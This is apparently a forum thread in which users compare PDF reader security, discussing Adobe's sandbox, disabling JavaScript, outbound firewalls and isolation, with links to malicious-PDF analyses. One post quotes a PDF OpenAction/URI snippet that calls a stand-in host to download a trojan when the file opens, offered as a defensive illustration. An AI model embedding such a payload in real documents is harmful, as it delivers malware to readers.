Security of pdf reader

Hi,

Is there any review of security for pdf readers ? For example to see which one offers best protection against pdf exploits.
And is disabling javascript is enough ?

Thanks.

 

Google brings up this: https://www.wilderssecurity.com/showthread.php?t=305860

 

The latest Adobe reader uses a strong sandbox. I'd recommend that.

 

It's true that there doesn't seem to be that much information concerning security comparisons of different PDF Readers. I tend to prefer the low-profile approach of using PDF-XC, assuming malware will be targeted at the majority end-user. Although, to be honest I replaced Adobe with PDF-XC for a variety of reasons, mostly not related to security but performance being a strong factor.

 

I missed this thread sorry.

Is it necessary to disable JS with adobe sandbox ?

 

Why do PDF readers even have javascript? It's probably a good idea to disable it. The latest Adobe reader is very secure though.

 

See this paper:

http://www.blackhat.com/presentations/bh-europe-08/Filiol/Presentation/bh-eu-08-filiol.pdf

Search the paper for javascript to see the various functions in action.

Being a programming language by design, its code is potentially exploitable on many fronts.

Note that home users and business users have different requirements for a PDF Reader. The Adobe Reader is probably the most powerful of the Readers, and it has many functions useful for a business, and so, those users will not want to disable those functions (such as Javascript).

(Note also that the PDF language has its own Javascript engine and is not related to web based javascript.)

In my opinion, the PDF exploits which began to proliferate in 2008 onward never needed to infect anyone. There are just too many ways to thwart the exploit. All of the targeted PDF exploits I saw used the PDF programming code to download malware.

The Paper describes how the URI function can accomplish this:

Which could be easily used by a cybercriminal in this way:

Code:

....<< /Type /OpenAction
/S /URI
/URI ([B]http://www.some_site.com/trojan.exe[/B])

Two other analyses:

Static Analysis of Malicious PDF Exploited by CVE-2008-2992
November 17, 2008
http://x9090.blogspot.com/2008/11/static-analysis-of-malicious-pdf_17.html

Exploits: Analyzing a malicious PDF Document
December 21st, 2009
http://labs.alienvault.com/labs/index.php/tag/cve-2008-2992/

Two protective measures should be obvious:

• A firewall that monitors outbound connection attempts
  
  
• Security to block the installation/running of unauthorized executables.

A few years ago, I posted this about PDF exploits.

http://www.urs2.net/rsj/computing/tests/pdf

For those exploits where the user receives the infected PDF file by email, skip to the 3rd requirement.


----
rich

 

Outbound firewalls are annoying. Same goes for AE. There's a reason people don't use them =p

 

There are web shields, link scanners, DNS, etc which basically works like blacklist firewalls and reputation systems. They aren't so annoying.

More protective measures include virtualization, Default-Deny, EMET, and the usual AV.

 

Maybe so, but far less annoying or costly than being exploited.

One thing that makes this problem worse is integrating the PDF reader with the browser. When opened in the browser, the PDF software no longer needs to obtain internet access. It already has it via the browser. PDF software will never be completely secure. Someone will always find a way to exploit it. IMO, the best way to protect yourself from PDF exploits is to isolate the application from the rest of your system and especially from other user apps that have internet access. This can be a sandbox, parent-child restrictions, minimum privilege, or a combination of the above. It's far safer to save the PDF to your desktop, then open with the PDF reader than it is to open them in your browser.

 

Users don't really care. They don't like annoying security. And quite frankly if security is annoying the user's just going to bypass it every chance they get if not flat out turn it off.

 

Those are the ones that keep giving me the repeat business, and drive me up the wall.

 

Do you have an example of this?

In all the web-based exploits I've seen, the PDF software does need internet access, for as soon as the PDF file starts to load in the Browser window, the Reader attempts to connect out to download the malware, at which time the Firewall alerts:




----
rich

 

Apart from the information provided by Rmus, isn't it that there are some "interactive" pdf files in which the person has to enter some information in a "form" online or off-line and re-submit the filled-in form? I think quite a few US govt sites have such pdf files. My guess is that these need javascript to be allowed?

 

I didn't keep any screenshots of it as it was for my own testing. The instance I saw was older, a couple years if I remember right. The Kerio screenshot you posted shows Firefox connecting out, not the PDF reader, which matches what I observed. The browser usually is permitted internet access already. Is yours set to prompt for every browser connection in that example?

Downloading a malicious executable isn't the only possibility. It could just as easily direct your browser to a malicious page.

 

I wonder why.

 

Sorry, I posted the wrong screenshot. I just changed it to show the Reader connecting out.

Very true. See the first URI example in my first post.

This is easily prevented from happening automatically, of course, as you point out, by not allowing a PDF to open in the browser window (disable plugin.)

This is fine for home users, but in speaking with people who work in organizations, reading PDFs in the browser window is a useful feature, for a multi-page PDF will start displaying the first pages in the Browser while the file is downloading to the Cache or Temp directory. Saves time, especially when reading a group of PDF files.

By the way, I bolded the statement above because in saving the file to disk and then opening it in the Reader, the exploit code in the PDF file will still execute as it would when opened in a Browser window. A careful user will scan the file first, but even that is not foolproof:

Exploits: Analyzing a malicious PDF Document
http://labs.alienvault.com/labs/index.php/tag/cve-2008-2992/

Indeed! And many have also fooled AV scanners:

http://isc.sans.edu/diary.html?storyid=5312

PDF Malware bypasses AV with 256bit AES encryption CVE-2011-2462
http://blog.malwaretracker.com/2011/12/pdf-malware-bypasses-av-with-256bit-aes.html

PDF Security Issues
http://www.decalage.info/file_formats_security/pdf

Prevention here, it seems to me, is to consider the source of the PDF file you are asked to open, and to have protective measures in place, such as those I mentioned previously, in case of an accident.

Relating to the OP's question, Reader security, like security with any other software, is always attempting to keep up with the exploit potential (the cat and mouse game). For Adobe users, the sandbox seems to take care of things (for now!).

For other Readers, well, they just aren't exploited due to low market usage. But there have been some in the past. Here, Foxit:







----
rich

 

Instead of worrying about detecting the PDFs they should just start securing the PDF readers.

 

Totally agree.

So disabling javascript will break "interactive" pdf ?

 

Adobe has suggested turning it off in the past when 0days have appeared.

 

I doubt they ever will be secure. How many years have we been seeing the same "Penetrate, patch, repeat" cycle? IMO, the PDF reader should be treated as a part of the attack surface that will never be secure and should be isolated from the rest of the system.

The problem with Adobe's suggestion of turning off the javascript every time a zero-day is found is that it's a reactive answer to a problem that already exists and most likely has for a long time.

 

The instance I saw matched your first screenshot. On my system, I don't allow reading PDFs in the browser, so it was preceded by an SSM prompt of the PDF reader wanting to launch the browser.

"For now" being the operative term here. Give them time. I completely agree with sandboxing the PDF software, but IMO, the sandbox shouldn't be part of the attack surface application. It should be separate and not directly exposed to attack (sharing code/files with the reader itself), and no internet access for the sandbox itself.

 

It's already sandboxed. No malware has bypassed it yet.

EDIT: The sandbox is not attack surface. It's based in the kernel.

 

OK, that makes sense.

In looking at exploits, I often have Kerio prompt for all outbound connections for the browser so as to step through the exploit. In this case, I had the URL from a sans.edu Diary and wanted to watch each step as the exploit progressed. In this case, I believe the Firefox alert was triggered by an i-frame in a redirect. The next step was the alert where the Reader connects out for the malware.


----
rich

 

Outbound firewalls aren't annoying... maybe some. But, Windows Firewall with Advanced Security isn't. Yes, it requires knowledge... but it's not the same as being an annoyance.

The same goes for AE. AppLocker isn't annoying. It's set and forget. If you do need to let execute something with standard user rights, then whitelist a folder and trap that folder into Sandboxie.